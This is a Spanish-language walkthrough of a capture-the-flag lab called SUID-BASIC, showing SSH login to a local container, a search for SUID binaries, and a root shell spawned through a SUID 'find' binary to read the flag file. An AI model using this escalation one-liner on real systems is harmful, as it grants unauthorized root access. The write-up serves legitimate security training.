

Iniciemos el reto SUID-BASIC

```

=====
Bienvenido a WHOAMI-LABS.COM. Laboratorio: SUID-BASIC.
Aprende, simula, escala. Sin burocracia.
=====

[v] Imagen cargada correctamente.
[*] Iniciando laboratorio ...
[v] Laboratorio iniciado correctamente.

=====
[v] Laboratorio desplegado correctamente.
=====
IP del laboratorio: 172.17.0.2
Usuario: hacker
Contraseña: h4ck3r123
Comando de conexión: ssh hacker@172.17.0.2

=====

Objetivo: Encuentra y explota binarios SUID para obtener la flag en /root/flag.txt

Presiona Ctrl+C cuando quieras detener el laboratorio.
█
```

Aquí vemos que con solo iniciar el lab nos dan información de usuario, contraseña y tipo de conexión a utilizar.

Iniciemos una segunda ventana de terminal para probar las credenciales suministradas.

```

(kali㉿kali)-[~]
└─$ ssh hacker@172.17.0.2
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the ED25519 key sent by the remote host is
SHA256:MZ/SHEQj87i0FB/0z22DF1gI+VyPAKo0aPQkkXscnY.
Please contact your system administrator.
Add correct host key in /home/kali/.ssh/known_hosts to get rid of this message.
Offending ECDSA key in /home/kali/.ssh/known_hosts:3
  remove with:
    ssh-keygen -f '/home/kali/.ssh/known_hosts' -R '172.17.0.2'
Host key for 172.17.0.2 has changed and you have requested strict checking.
Host key verification failed.

(kali㉿kali)-[~]
└─$ █
```

En algunos casos nos va a dar esta alerta cuando iniciemos sesión por ssh, esto se da porque el sistema reconoce que la llave ssh almacenada para el host 172.17.0.2 ha cambiado, esto es común en entornos donde usamos ssh a varias máquinas con el mismo IP (si este **NO** es nuestro

caso, puede que estemos ante un ataque de man-in-the-middle). Para borrar la llave basta con usar el comando sugerido.

Ahora que ya tenemos el acceso, hacemos las verificaciones para ver el grupo al que pertenecemos para saber qué tipo de permisos tenemos, así como ver el usuario y directorio donde estamos.

```
SUID-BASIC

=====
Bienvenido al laboratorio SUID-BASIC
Objetivo: Escalar privilegios usando SUID
Usuario: hacker | Password: h4ck3r123
=====

hacker@584cc9eb909e:~$ id
uid=1000(hacker) gid=1000(hacker) groups=1000(hacker)
hacker@584cc9eb909e:~$ whoami
hacker
hacker@584cc9eb909e:~$ pwd
/home/hacker
hacker@584cc9eb909e:~$ █
```

Ahora comenzaremos el proceso de escalar privilegios usando SUID. Lo primero es buscar binarios SUID.

```
hacker@584cc9eb909e:~$ find / -perm -u=s -type f -ls 2>/dev/null
3187486 56 -rwsr-xr-x 1 root root 55680 Apr 9 2024 /usr/bin/su
3187411 40 -rwsr-xr-x 1 root root 40496 Feb 6 2024 /usr/bin/newgrp
3187348 72 -rwsr-xr-x 1 root root 72072 Feb 6 2024 /usr/bin/gpasswd
3187422 60 -rwsr-xr-x 1 root root 59976 Feb 6 2024 /usr/bin/passwd
3187280 72 -rwsr-xr-x 1 root root 72712 Feb 6 2024 /usr/bin/chfn
3430819 276 -rwsr-xr-x 1 root root 282088 Mar 23 2022 /usr/bin/find
3187406 48 -rwsr-xr-x 1 root root 47488 Apr 9 2024 /usr/bin/mount
3187286 44 -rwsr-xr-x 1 root root 44808 Feb 6 2024 /usr/bin/chsh
3187512 36 -rwsr-xr-x 1 root root 35200 Apr 9 2024 /usr/bin/umount
3430820 196 -rwsr-xr-x 1 root root 199048 Apr 27 2024 /usr/bin/less
3430821 3700 -rwsr-xr-x 1 root root 3787824 Apr 2 2025 /usr/bin/vim.basic
3421467 228 -rwsr-xr-x 1 root root 232416 Jun 25 2025 /usr/bin/sudo
3421546 332 -rwsr-xr-x 1 root root 338536 Apr 11 2025 /usr/lib/openssh/ssh-keysign
3421517 36 -rwsr-xr-- 1 root messagebus 35112 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
hacker@584cc9eb909e:~$ █
```

Nos podemos apoyar del sitio <https://gtfobins.org> para ver cuál de estos binarios podemos explotar. En nuestro caso usaremos find para escalar privilegios como root y poder encontrar la flag.

```
hacker@584cc9eb909e:~$ find . -exec /bin/sh -p \; -quit
# whoami
root
# id
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)
# pwd
/home/hacker
# cat /root/flag.txt
FLAG{S[REDACTED]}
#
```